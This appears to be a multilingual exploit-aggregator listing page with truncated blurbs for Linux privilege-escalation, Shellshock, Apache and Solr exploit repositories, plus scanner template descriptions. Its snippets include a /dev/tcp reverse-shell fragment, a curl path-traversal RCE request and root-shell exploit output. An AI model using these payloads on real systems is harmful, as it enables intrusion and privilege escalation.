CVE-2026-31431

📌 CVE-2026-31431 – Élévation de privilèges via un mauvais usage des sockets cryptographiques AEAD 🧠 Vue d'ensemble CVE-2026-31431 est une vulnérabilité d'élévation de privilèges sous Linux qui abuse de l'interface AFALG API cryptographique du noyau. En élaborant une interaction malveillante avec...

CVE-2026-31431

CVE-2026-31431 Binaire standard CopyFail Obtenez toutes les nouvelles alertes CVE sur https://exploitroom.com root@kitploit: mail :: /Desktop/CVE-2026 » file exploit: ELF 64-bit LSB executable, x86-64, version 1 GNU/Linux, statically linked, BuildIDsha1=9454dbdde0ac2d1a8981c06db89f24a4753ec3b7, f...

copy-fail-go

copy-fail-go Portage Go du PoC Python de grenkoca pour CVE-2026-31431 copy-fail. Cette version compile en un binaire entièrement statique avec zéro dépendance à l'exécution - pas de Python, pas de pip, aucune contrainte de version libc. Déposez-le sur n'importe quelle cible Linux et exécutez-le. ...

shocknaww

shocknaww Простой скрипт для проверки CVE-2014-6271 Пример использования root@kitploit: ./shocknaww.py http://foo.bar/cgi-bin/foo Пример уязвимого окружения Из родительской директории выполните следующее. root@kitploit: python -m CGIHTTPServer Теперь используйте shocknaww против вашего локального...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: root@kitploit: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a"...

copy-fail-CVE-2026-31431

Description de la vulnérabilité Cause de la vulnérabilité Le module de chiffrement du noyau Linux authesn a introduit en 2017 une optimisation en place in-place pour les opérations AEAD chiffrement authentifié, qui a conduit, dans certaines conditions, à ce que des pages en lecture seule du cache...

CVE-2021-4034

Exploit CVE-2021-4034 Utilisation root@kitploit: $ git clone https://github.com/whokilleddb/CVE-2021-4034 $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root Correctif approximatif...

CVE-2021-4034

Exploit CVE-2021-4034 Exploit racine pour la vulnérabilité PwnKit. Consultez le rapport original ici. Utilisez cet exploit avec l'autorisation expresse des propriétaires du système cible. Compilation Aucune dépendance nécessaire en dehors de libc. Exécutez simplement make. Exécution L'exécution...

cve-2021-41773

cve-2021-41773 Запуск сервера $ docker build -t cve-2021-41773 . $ docker run --rm -d -p 80:80 cve-2021-41773 Эксплуатация curl --data "echo;id" 'http://localhost/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd' Причина Ошибка конфигурации в файле httpd.conf в сочетании с Path traversal = RCE...

redexer

redexer Redexer هي أداة إعادة هندسة تتعامل مع ثنائيات تطبيقات Android. هذه الأداة قادرة على تحليل ملف DEX إلى بنية بيانات في الذاكرة؛ واستنتاج المعاملات التي يستخدم بها التطبيق أذونات معينة نسمي هذه الميزة RefineDroid؛ وتعديل وإعادة تحويل تلك البنية لإنتاج ملف DEX ناتج نسمي هذه الميزات Dr. Androi...

Nagios XI <5.8.5 - Open Redirect

Nagios XI through 5.8.5 contains an open redirect vulnerability in the login function. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. id: CVE-2022-29272 info: name: Nagios XI 5.8.5 - Open Redirect...

Wavlink WN-533A8 - Cross-Site Scripting

Wavlink WN-533A8 M33A8.V5030.190716 contains a reflected cross-site scripting vulnerability via the loginpage parameter. id: CVE-2022-34048 info: name: Wavlink WN-533A8 - Cross-Site Scripting author: ritikchaddha severity: medium description: | Wavlink WN-533A8 M33A8.V5030.190716 contains a...

Bonita Web 2021.2 - Authentication/Authorization Bypass

Bonita Web 2021.2 contains an authentication/authorization bypass vulnerability caused by an overly broad exclude pattern in RestAPIAuthorizationFilter, allowing unauthenticated users to access privileged API endpoints by appending ;i18ntranslation or /../i18ntranslation/ to the URL. id:...

nitely/spirit 0.12.3 - Open Redirect

Multiple Open Redirect in GitHub repository nitely/spirit prior to 0.12.3. id: CVE-2022-0869 info: name: nitely/spirit 0.12.3 - Open Redirect author: ctflearner severity: medium description: | Multiple Open Redirect in GitHub repository nitely/spirit prior to 0.12.3. impact: | An attacker can...

School Dormitory Management System 1.0 - Authenticated Cross-Site Scripting

School Dormitory Management System 1.0 contains an authenticated cross-site scripting vulnerability in admin/inc/navigation.php:126. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-base...

Wavlink WN535K2/WN535K3 - OS Command Injection

Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection in an unknown part of the file /cgi-bin/mesh.cgi?page=upgrade via manipulation of the argument key. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised...

WordPress Gwyn's Imagemap Selector <=0.3.3 - Cross-Site Scripting

Wordpress Gwyn's Imagemap Selector plugin 0.3.3 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize the id and class parameters before returning them back in attributes. id: CVE-2022-1221 info: name: WordPress Gwyn's Imagemap Selector =0.3.3 - Cross-Site...

D-Link DIR850 ET850-1.08TRb03 - Open Redirect

DLink DIR850 ET850-1.08TRb03 contains incorrect access control vulnerability in URL redirection, which can be used to mislead users to go to untrusted sites. id: CVE-2021-46379 info: name: D-Link DIR850 ET850-1.08TRb03 - Open Redirect author: 0xAkoko severity: medium description: DLink DIR850...

Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection

Visual Tools DVR VX16 4.2.28.0 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. id: CVE-2021-42071 info: name: Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection author: gy741 severity: critical description: Visual...

InfluxDB <1.7.6 - Authentication Bypass

InfluxDB before 1.7.6 contains an authentication bypass vulnerability via the authenticate function in services/httpd/handler.go. A JWT token may have an empty SharedSecret aka shared secret. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized...